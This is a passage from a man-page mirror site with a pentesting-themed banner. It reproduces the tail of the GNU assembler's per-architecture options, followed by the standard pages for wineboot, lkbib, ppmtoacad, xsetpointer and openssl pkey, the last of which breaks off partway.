–no-relax-branch

The –relax-branch option enables the relaxation of out-of-range branches. By default –no-relax-branch is selected, causing any out-of-range branches to produce an error.

-mignore-branch-isa

-mno-ignore-branch-isa

Ignore branch checks for invalid transitions between ISA modes. The semantics of branches does not provide for an ISA mode switch, so in most cases the ISA mode a branch has been encoded for has to be the same as the ISA mode of the branch’s target label. Therefore GAS has checks implemented that verify in branch assembly that the two ISA modes match. -mignore-branch-isa disables these checks. By default -mno-ignore-branch-isa is selected, causing any invalid branch requiring a transition between ISA modes to produce an error.

-mnan=encoding
Select between the IEEE 754-2008 (-mnan=2008) or the legacy (-mnan=legacy) NaN encoding format. The latter is the default.

–emulation=name
This option was formerly used to switch between ELF and ECOFF output on targets like IRIX 5 that supported both. MIPS ECOFF support was removed in GAS 2.24, so the option now serves little purpose. It is retained for backwards compatibility. The available configuration names are: mipself, mipslelf and mipsbelf. Choosing mipself now has no effect, since the output is always ELF. mipslelf and mipsbelf select little- and big-endian output respectively, but -EL and -EB are now the preferred options instead.

-nocpp
as ignores this option. It is accepted for compatibility with the native tools.

–trap

–no-trap

–break

–no-break

Control how to deal with multiplication overflow and division by zero. –trap or –no-break (which are synonyms) take a trap exception (and only work for Instruction Set Architecture level 2 and higher); –break or –no-trap (also synonyms, and the default) take a break exception.

-n
When this option is used, as will issue a warning every time it generates a nop instruction from a macro.

The following options are available when as is configured for a LoongArch processor.

-fpic

-fPIC

Generate position-independent code

-fno-pic
Don’t generate position-independent code (default)

The following options are available when as is configured for a Meta processor.

“-mcpu=metac11”
Generate code for Meta 1.1.

“-mcpu=metac12”
Generate code for Meta 1.2.

“-mcpu=metac21”
Generate code for Meta 2.1.

“-mfpu=metac21”
Allow code to use FPU hardware of Meta 2.1.

See the info pages for documentation of the MMIX-specific options.

The following options are available when as is configured for a NDS32 processor.

“-O1”
Optimize for performance.

“-Os”
Optimize for space.

“-EL”
Produce little endian data output.

“-EB”
Produce little endian data output.

“-mpic”
Generate PIC.

“-mno-fp-as-gp-relax”
Suppress fp-as-gp relaxation for this file.

“-mb2bb-relax”
Back-to-back branch optimization.

“-mno-all-relax”
Suppress all relaxation for this file.

“-march=<arch name>”
Assemble for architecture <arch name> which could be v3, v3j, v3m, v3f, v3s, v2, v2j, v2f, v2s.

“-mbaseline=<baseline>”
Assemble for baseline <baseline> which could be v2, v3, v3m.

“-mfpu-freg=FREG”
Specify a FPU configuration.

“0 8 SP / 4 DP registers”

“1 16 SP / 8 DP registers”

“2 32 SP / 16 DP registers”

“3 32 SP / 32 DP registers”

“-mabi=abi”

Specify a abi version <abi> could be v1, v2, v2fp, v2fpp.

“-m[no-]mac”
Enable/Disable Multiply instructions support.

“-m[no-]div”
Enable/Disable Divide instructions support.

“-m[no-]16bit-ext”
Enable/Disable 16-bit extension

“-m[no-]dx-regs”
Enable/Disable d0/d1 registers

“-m[no-]perf-ext”
Enable/Disable Performance extension

“-m[no-]perf2-ext”
Enable/Disable Performance extension 2

“-m[no-]string-ext”
Enable/Disable String extension

“-m[no-]reduced-regs”
Enable/Disable Reduced Register configuration (GPR16) option

“-m[no-]audio-isa-ext”
Enable/Disable AUDIO ISA extension

“-m[no-]fpu-sp-ext”
Enable/Disable FPU SP extension

“-m[no-]fpu-dp-ext”
Enable/Disable FPU DP extension

“-m[no-]fpu-fma”
Enable/Disable FPU fused-multiply-add instructions

“-mall-ext”
Turn on all extensions and instructions support

The following options are available when as is configured for a PowerPC processor.

-a32
Generate ELF32 or XCOFF32.

-a64
Generate ELF64 or XCOFF64.

-K PIC
Set EF_PPC_RELOCATABLE_LIB in ELF flags.

-mpwrx | -mpwr2
Generate code for POWER/2 (RIOS2).

-mpwr
Generate code for POWER (RIOS1)

-m601
Generate code for PowerPC 601.

-mppc, -mppc32, -m603, -m604
Generate code for PowerPC 603/604.

-m403, -m405
Generate code for PowerPC 403/405.

-m440
Generate code for PowerPC 440. BookE and some 405 instructions.

-m464
Generate code for PowerPC 464.

-m476
Generate code for PowerPC 476.

-m7400, -m7410, -m7450, -m7455
Generate code for PowerPC 7400/7410/7450/7455.

-m750cl, -mgekko, -mbroadway
Generate code for PowerPC 750CL/Gekko/Broadway.

-m821, -m850, -m860
Generate code for PowerPC 821/850/860.

-mppc64, -m620
Generate code for PowerPC 620/625/630.

-me200z2, -me200z4
Generate code for e200 variants, e200z2 with LSP, e200z4 with SPE.

-me300
Generate code for PowerPC e300 family.

-me500, -me500x2
Generate code for Motorola e500 core complex.

-me500mc
Generate code for Freescale e500mc core complex.

-me500mc64
Generate code for Freescale e500mc64 core complex.

-me5500
Generate code for Freescale e5500 core complex.

-me6500
Generate code for Freescale e6500 core complex.

-mlsp
Enable LSP instructions. (Disables SPE and SPE2.)

-mspe
Generate code for Motorola SPE instructions. (Disables LSP.)

-mspe2
Generate code for Freescale SPE2 instructions. (Disables LSP.)

-mtitan
Generate code for AppliedMicro Titan core complex.

-mppc64bridge
Generate code for PowerPC 64, including bridge insns.

-mbooke
Generate code for 32-bit BookE.

-ma2
Generate code for A2 architecture.

-maltivec
Generate code for processors with AltiVec instructions.

-mvle
Generate code for Freescale PowerPC VLE instructions.

-mvsx
Generate code for processors with Vector-Scalar (VSX) instructions.

-mhtm
Generate code for processors with Hardware Transactional Memory instructions.

-mpower4, -mpwr4
Generate code for Power4 architecture.

-mpower5, -mpwr5, -mpwr5x
Generate code for Power5 architecture.

-mpower6, -mpwr6
Generate code for Power6 architecture.

-mpower7, -mpwr7
Generate code for Power7 architecture.

-mpower8, -mpwr8
Generate code for Power8 architecture.

-mpower9, -mpwr9
Generate code for Power9 architecture.

-mpower10, -mpwr10
Generate code for Power10 architecture.

-mpower11, -mpwr11
Generate code for Power11 architecture.

-mfuture
Generate code for ‘future’ architecture.

-mcell

-mcell

Generate code for Cell Broadband Engine architecture.

-mcom
Generate code Power/PowerPC common instructions.

-many
Generate code for any architecture (PWR/PWRX/PPC).

-mregnames
Allow symbolic names for registers.

-mno-regnames
Do not allow symbolic names for registers.

-mrelocatable
Support for GCC’s -mrelocatable option.

-mrelocatable-lib
Support for GCC’s -mrelocatable-lib option.

-memb
Set PPC_EMB bit in ELF flags.

-mlittle, -mlittle-endian, -le
Generate code for a little endian machine.

-mbig, -mbig-endian, -be
Generate code for a big endian machine.

-msolaris
Generate code for Solaris.

-mno-solaris
Do not generate code for Solaris.

-nops=count
If an alignment directive inserts more than count nops, put a branch at the beginning to skip execution of the nops.

The following options are available when as is configured for a RISC-V processor.

-fpic

-fPIC

Generate position-independent code

-fno-pic
Don’t generate position-independent code (default)

-march=ISA
Select the base isa, as specified by ISA. For example -march=rv32ima. If this option and the architecture attributes aren’t set, then assembler will check the default configure setting –with-arch=ISA.

-misa-spec=ISAspec
Select the default isa spec version. If the version of ISA isn’t set by -march, then assembler helps to set the version according to the default chosen spec. If this option isn’t set, then assembler will check the default configure setting –with-isa-spec=ISAspec.

-mpriv-spec=PRIVspec
Select the privileged spec version. We can decide whether the CSR is valid or not according to the chosen spec. If this option and the privilege attributes aren’t set, then assembler will check the default configure setting –with-priv-spec=PRIVspec.

-mabi=ABI
Selects the ABI, which is either “ilp32” or “lp64”, optionally followed by “f”, “d”, or “q” to indicate single-precision, double-precision, or quad-precision floating-point calling convention, or none or “e” to indicate the soft-float calling convention (“e” indicates a soft-float RVE ABI).

-mrelax
Take advantage of linker relaxations to reduce the number of instructions required to materialize symbol addresses. (default)

-mno-relax
Don’t do linker relaxations.

-march-attr
Generate the default contents for the riscv elf attribute section if the .attribute directives are not set. This section is used to record the information that a linker or runtime loader needs to check compatibility. This information includes ISA string, stack alignment requirement, unaligned memory accesses, and the major, minor and revision version of privileged specification.

-mno-arch-attr
Don’t generate the default riscv elf attribute section if the .attribute directives are not set.

-mcsr-check
Enable the CSR checking for the ISA-dependent CRS and the read-only CSR. The ISA-dependent CSR are only valid when the specific ISA is set. The read-only CSR can not be written by the CSR instructions.

-mno-csr-check
Don’t do CSR checking.

-mlittle-endian
Generate code for a little endian machine.

-mbig-endian
Generate code for a big endian machine.

See the info pages for documentation of the RX-specific options.

The following options are available when as is configured for the s390 processor family.

-m31

-m64

Select the word size, either 31/32 bits or 64 bits.

-mesa

-mzarch

Select the architecture mode, either the Enterprise System Architecture (esa) or the z/Architecture mode (zarch).

-march=processor
Specify which s390 processor variant is the target, g5 (or arch3), g6, z900 (or arch5), z990 (or arch6), z9-109, z9-ec (or arch7), z10 (or arch8), z196 (or arch9), zEC12 (or arch10), z13 (or arch11), z14 (or arch12), z15 (or arch13), or z16 (or arch14).

-mregnames

-mno-regnames

Allow or disallow symbolic names for registers.

-mwarn-areg-zero
Warn whenever the operand for a base or index register has been specified but evaluates to zero.

-mwarn-regtype-mismatch=strict

-mwarn-regtype-mismatch=relaxed

-mwarn-regtype-mismatch=no

-mno-warn-regtype-mismatch

Controls whether the assembler performs register name type checks and generates a warning message in case of a mismatch with the operand register type. The default (which can be restored by using the relaxed argument) is to perform relaxed register name type checks, which allow floating point register (FPR) names %f0 to %f15 to be specified as argument to vector register (VR) operands and vector register (VR) names %v0 to %v15 to be specified as argument to floating point register (FPR) operands. This is acceptable as the FPR are embedded into the lower half of the VR. Using the strict argument strict register name type checks are performed. The no argument, which is equivalent to -mno-warn-regtype-mismatch, disables any register name type checks.

The following options are available when as is configured for a TMS320C6000 processor.

-march=arch
Enable (only) instructions from architecture arch. By default, all instructions are permitted. The following values of arch are accepted: c62x, c64x, c64x+, c67x, c67x+, c674x.

-mdsbt

-mno-dsbt

The -mdsbt option causes the assembler to generate the Tag_ABI_DSBT attribute with a value of 1, indicating that the code is using DSBT addressing. The -mno-dsbt option, the default, causes the tag to have a value of 0, indicating that the code does not use DSBT addressing. The linker will emit a warning if objects of different type (DSBT and non-DSBT) are linked together.

-mpid=no

-mpid=near

-mpid=far

The -mpid= option causes the assembler to generate the Tag_ABI_PID attribute with a value indicating the form of data addressing used by the code. -mpid=no, the default, indicates position-dependent data addressing, -mpid=near indicates position-independent addressing with GOT accesses using near DP addressing, and -mpid=far indicates position-independent addressing with GOT accesses using far DP addressing. The linker will emit a warning if objects built with different settings of this option are linked together.

-mpic

-mno-pic

The -mpic option causes the assembler to generate the Tag_ABI_PIC attribute with a value of 1, indicating that the code is using position-independent code addressing, The -mno-pic option, the default, causes the tag to have a value of 0, indicating position-dependent code addressing. The linker will emit a warning if objects of different type (position-dependent and position-independent) are linked together.

-mbig-endian

-mlittle-endian

Generate code for the specified endianness. The default is little-endian.

The following options are available when as is configured for a TILE-Gx processor.

-m32 | -m64
Select the word size, either 32 bits or 64 bits.

-EB | -EL
Select the endianness, either big-endian (-EB) or little-endian (-EL).

The following option is available when as is configured for a Visium processor.

-mtune=arch
This option specifies the target architecture. If an attempt is made to assemble an instruction that will not execute on the target architecture, the assembler will issue an error message. The following names are recognized: mcm24 mcm gr5 gr6

The following options are available when as is configured for an Xtensa processor.

–text-section-literals | –no-text-section-literals
Control the treatment of literal pools. The default is –no-text-section-literals, which places literals in separate sections in the output file. This allows the literal pool to be placed in a data RAM/ROM. With –text-section-literals, the literals are interspersed in the text section in order to keep them as close as possible to their references. This may be necessary for large assembly files, where the literals would otherwise be out of range of the L32R instructions in the text section. Literals are grouped into pools following .literal_position directives or preceding ENTRY instructions. These options only affect literals referenced via PC-relative L32R instructions; literals for absolute mode L32R instructions are handled separately.

–auto-litpools | –no-auto-litpools
Control the treatment of literal pools. The default is –no-auto-litpools, which in the absence of –text-section-literals places literals in separate sections in the output file. This allows the literal pool to be placed in a data RAM/ROM. With –auto-litpools, the literals are interspersed in the text section in order to keep them as close as possible to their references, explicit .literal_position directives are not required. This may be necessary for very large functions, where single literal pool at the beginning of the function may not be reachable by L32R instructions at the end. These options only affect literals referenced via PC-relative L32R instructions; literals for absolute mode L32R instructions are handled separately. When used together with –text-section-literals, –auto-litpools takes precedence.

–absolute-literals | –no-absolute-literals
Indicate to the assembler whether L32R instructions use absolute or PC-relative addressing. If the processor includes the absolute addressing option, the default is to use absolute L32R relocations. Otherwise, only the PC-relative L32R relocations can be used.

–target-align | –no-target-align
Enable or disable automatic alignment to reduce branch penalties at some expense in code size. This optimization is enabled by default. Note that the assembler will always align instructions like LOOP that have fixed alignment requirements.

–longcalls | –no-longcalls
Enable or disable transformation of call instructions to allow calls across a greater range of addresses. This option should be used when call targets can potentially be out of range. It may degrade both code size and performance, but the linker can generally optimize away the unnecessary overhead when a call ends up within range. The default is –no-longcalls.

–transform | –no-transform
Enable or disable all assembler transformations of Xtensa instructions, including both relaxation and optimization. The default is –transform; –no-transform should only be used in the rare cases when the instructions must be exactly as specified in the assembly source. Using –no-transform causes out of range instruction operands to be errors.

–rename-section oldname=newname
Rename the oldname section to newname. This option can be used multiple times to rename multiple sections.

–trampolines | –no-trampolines
Enable or disable transformation of jump instructions to allow jumps across a greater range of addresses. This option should be used when jump targets can potentially be out of range. In the absence of such jumps this option does not affect code size or performance. The default is –trampolines.

–abi-windowed | –abi-call0
Choose ABI tag written to the .xtensa.info section. ABI tag indicates ABI of the assembly code. A warning is issued by the linker on an attempt to link object files with inconsistent ABI tags. Default ABI is chosen by the Xtensa core configuration.

The following options are available when as is configured for an Z80 processor.

@chapter Z80 Dependent Features

Command-line Options

-march=CPU[-EXT…][+EXT…]
This option specifies the target processor. The assembler will issue an error message if an attempt is made to assemble an instruction which will not execute on the target processor. The following processor names are recognized: z80, z180, ez80, gbz80, z80n, r800. In addition to the basic instruction set, the assembler can be told to accept some extension mnemonics. For example, -march=z180+sli+infc extends z180 with SLI instructions and IN F,(C). The following extensions are currently supported: full (all known instructions), adl (ADL CPU mode by default, eZ80 only), sli (instruction known as SLI, SLL or SL1), xyhl (instructions with halves of index registers: IXL, IXH, IYL, IYH), xdcb (instructions like RotOp (II+d),R and BitOp n,(II+d),R), infc (instruction IN F,(C) or IN (C)), outc0 (instruction OUT (C),0). Note that rather than extending a basic instruction set, the extension mnemonics starting with - revoke the respective functionality: -march=z80-full+xyhl first removes all default extensions and adds support for index registers halves only. If this option is not specified then -march=z80+xyhl+infc is assumed.

-local-prefix=prefix
Mark all labels with specified prefix as local. But such label can be marked global explicitly in the code. This option do not change default local label prefix .L, it is just adds new one.

-colonless
Accept colonless labels. All symbols at line begin are treated as labels.

-sdcc
Accept assembler code produced by SDCC.

-fp-s=FORMAT
Single precision floating point numbers format. Default: ieee754 (32 bit).

-fp-d=FORMAT
Double precision floating point numbers format. Default: ieee754 (64 bit).

SEE ALSO

gcc (1), ld (1), and the Info entries for binutils and ld.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1739 - Linux cli command wineboot-stable

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wineboot-stable and provides detailed information about the command wineboot-stable, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wineboot-stable.

NAME 🖥️ wineboot-stable 🖥️

perform Wine initialization, startup, and shutdown tasks

SYNOPSIS

wineboot [options]

DESCRIPTION

wineboot performs the initial creation and setup of a WINEPREFIX for wine(1). It can also perform a simulated reboot or shutdown to any applications running within the WINEPREFIX.

OPTIONS

-h, –help
Display help message.

-e, –end-session
End the current session cleanly.

-f, –force
Force exit for processes that don’t exit cleanly

-i, –init
Initialize the WINEPREFIX.

-k, –kill
Kill running processes without any cleanup.

-r, –restart
Restart only, don’t do normal startup operations.

-s, –shutdown
Shutdown only, don’t reboot.

-u, –update
Update the WINEPREFIX.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

wineboot is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1740 - Linux cli command lkbib

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lkbib and provides detailed information about the command lkbib, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lkbib.

Name

lkbib - search bibliographic databases

Synopsis

lkbib [-n] [-i ** fields] [-p ** file] . . . [**-t ** n] key . . . lkbib –help lkbib -v lkbib –version

Description

lkbib searches bibliographic databases for references containing keywords key and writes any references found to the standard output stream. It reads databases given by -p options and then (unless -n is given) a default database. The default database is taken from the REFER environment variable if it is set, otherwise it is /usr/dict/papers/Ind. For each database file to be searched, if an index file*.i* created by

exists, then it will be searched instead; each index can cover multiple databases.

Options

–help displays a usage message, while -v and –version show version information; all exit afterward.

**-i **string
When searching files for which no index exists, ignore the contents of fields whose names are in string.

-n
Suppress search of default database.

**-p **file
Search file. Multiple -p options can be used.

**-t **n
Require only the first n characters of keys to be given. The default is 6.

Environment

REFER
Default database.

Files

/usr/dict/papers/Ind
Default database to be used if the REFER environment variable is not set.

file*.i*
Index files.

See also

“Some Applications of Inverted Indexes on the Unix System”, by M. E. Lesk, 1978, AT&T Bell Laboratories Computing Science Technical Report No. 69.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1741 - Linux cli command ppmtoacad

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoacad and provides detailed information about the command ppmtoacad, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoacad.

.

NAME 🖥️ ppmtoacad 🖥️

convert PPM to Autocad database or slide

SYNOPSIS

ppmtoacad

[-dxb]

[-poly]

[-background color]

[-white]

[-aspect ratio]

[-8]

[ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoacad reads a PPM image as input and produces an Autocad® slide file or binary database import (.dxb) file as output. If you don’t specify ppmfile, ppmtoacad takes the input from Standard Input.

(Typographical note: the name of Autocad is often rendered as AutoCAD. Netpbm documentation uses standard American typography, wherein that is not a valid form of capitalization).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtoacad recognizes the following command line options:

You may abbreviate any option to its shortest unique prefix.

-dxb
ppmtoacad writes an Autocad binary database import (.dxb) file. You read this file with the DXBIN command and, once loaded, it becomes part of the Autocad geometrical database, so you can view and edit it like any other object. Each sequence of identical pixels becomes a separate object in the database; this can result in very large Autocad drawing files. However, if you want to trace over a bitmap, it lets you zoom and pan around the bitmap as you wish.

-poly
If you don’t specify the -dxb option, ppmtoacad generates an Autocad slide file. Normally each row of pixels is represented by an Autocad line entity. If you specify -poly, ppmtoacad renders the pixels as filled polygons. If you view the slide on a display with higher resolution than the source image, this will cause the pixels to expand instead of appearing as discrete lines against the screen background color. Regrettably, this representation yields slide files which occupy more storage space and take longer to display.

-background color
Most Autocad display drivers can be configured to use any available color as the screen background. Some users prefer a black screen background, others white, while splinter groups advocate burnt ocher, tawny puce, and shocking gray. Discarding pixels whose closest Autocad color representation is equal to the background color can substantially reduce the size of the Autocad database or slide file needed to represent a bitmap. If you don’t specify -background, ppmtoacad assumes the screen background color to be black. You may specify any Autocad color number as the screen background; ppmtoacad assumes color numbers to specify the hues defined in the standard Autocad 256 color palette.

-white
Since many Autocad users choose a white screen background, this option is provided as a short-cut. Specifying -white is identical in effect to -background 7.

-aspect ratio
If the source image had non-square pixels (which means it is not standard PPM), specify the ratio of the pixel width to pixel height as ratio. ppmtoacad will correct the resulting slide or .dxb file so that pixels on the Autocad screen will be square. For example, to correct an image made for a 320x200 VGA/MCGA screen, specify -aspect 0.8333.

-8
Restricts the colors in the output file to the 8 RGB shades.

RESTRICTIONS

Autocad has a fixed palette of 256 colors, distributed along the hue, lightness, and saturation axes. So it may poorly render images which contain many nearly-identical colors, or colors not closely approximated by Autocad’s palette.

ppmtoacad works best if the system displaying its output can display the full 256 color Autocad palette. Monochrome, 8 color, and 16 color configurations will produce less than optimal results.

When creating a .dxb file or a slide file with the -poly option, ppmtoacad finds both vertical and horizontal runs of identical pixels and consolidates them into rectangular regions to reduce the size of the output file. This is effective for images with large areas of constant color but it’s no substitute for true raster to vector conversion. In particular, this process does not optimize thin diagonal lines at all.

Output files can be huge.

SEE ALSO

Autocad Reference Manual: Slide File Format and Binary Drawing Interchange (DXB) Files, ppm(1)

AUTHOR

John Walker
Autodesk SA
Avenue des Champs-Montants 14b
CH-2074 MARIN
Suisse/Schweiz/Svizzera/Svizra/Switzerland
    Usenet:[email protected]
    Fax:038/33 88 15
    Voice:038/33 76 33

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, without any conditions or restrictions. This software is provided “as is” without express or implied warranty.

Autocad and Autodesk are registered trademarks of Autodesk, Inc.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoacad.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1742 - Linux cli command xsetpointer

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xsetpointer and provides detailed information about the command xsetpointer, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xsetpointer.

NAME 🖥️ xsetpointer 🖥️

set an X Input device as the main pointer

SYNOPSIS

xsetpointer -l | device-name

DESCRIPTION

Xsetpointer sets an XInput device as the main pointer. When called with the -l flag it lists the available devices. When called with the -c/+c flag, it toggles the sending of core input events, for servers which implement a virtual core pointer; -c disables core events, and +c enables.

AUTHOR

Frederic Lepied

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1743 - Linux cli command openssl-pkeyssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-pkeyssl and provides detailed information about the command openssl-pkeyssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-pkeyssl.

NAME 🖥️ openssl-pkeyssl 🖥️

pkey - public or private key processing command

SYNOPSIS

openssl pkey [-help] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [-check] [-pubcheck] [-in filename|uri] [-inform DER|PEM|P12|ENGINE] [-passin arg] [-pubin] [-out filename] [-outform DER|PEM] [-cipher] [-passout arg] [-traditional] [-pubout] [-noout] [-text] [-text_pub] [-ec_conv_form arg] [-ec_param_enc arg]

DESCRIPTION

This command processes public or private keys. They can be converted between various forms and their components printed.

OPTIONS

General options

-help
Print out a usage message.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-check
This option checks the consistency of a key pair for both public and private components.

-pubcheck
This option checks the correctness of either a public key or the public component of a key pair.

Input options

-in filename|uri
This specifies the input to read a key from or standard input if this option is not specified. If the key input is encrypted and -passin is not given a pass phrase will be prompted for.

-inform DER|PEM|P12|ENGINE
The key input format; unspecified by default. See openssl-format-options (1) for details.

-passin arg
The password source for the key input. For more information about the format of arg see openssl-passphrase-options (1).

-pubin
By default a private key is read from the input. With this option a public key is read instead. If the input contains no public key but a private key, its public part is used.

Output options

-out filename
This specifies the output filename to save the encoded and/or text output of key or standard output if this option is not specified. If any cipher option is set but no -passout is given then a pass phrase will be prompted for. The output filename should not be the same as the input filename.

-outform DER|PEM
The key output format; the default is PEM. See openssl-format-options (1) for details.

-cipher
Encrypt the PEM encoded private key with the supplied cipher. Any algorithm name accepted by EVP_get_cipherbyname() is acceptable such as aes128. Encryption is not supported for DER output.

-passout arg
The password source for the output file. For more information about the format of arg see openssl-passphrase-options (1).

-traditional
Normally a private key is written using standard format: this is PKCS#8 form with the appropriate encryption algorithm (if any). If the -traditional option is specified then the older “traditional” format is used instead.

-pubout
By default the private and public key is output; this option restricts the output to the public components. This option is automatically set if the input is a public key. When combined with -text, this is equivalent to -text_pub.

-noout
Do not output the key in encoded form.

-text
Output the various key components in plain text (possibly in addition to the PEM encoded form). This cannot be combined with encoded output in DER format.

-text_pub
Output in text form only the public key components (also for private keys). This cannot be combined with encoded output in DER format.

-ec_conv_form arg
This option only applies to elliptic-curve based keys. This specifies how the points on the elliptic curve are converted into octet strings. Possible values are: compressed (the default value), uncompressed and hybrid. For more information regarding the point conversion forms please read the X9.62 standard. Note Due to patent issues the compressed option is disabled by default for binary curves and can be enabled by defining the preprocessor macro OPENSSL_EC_BIN_PT_COMP at compile time.

-ec_param_enc arg
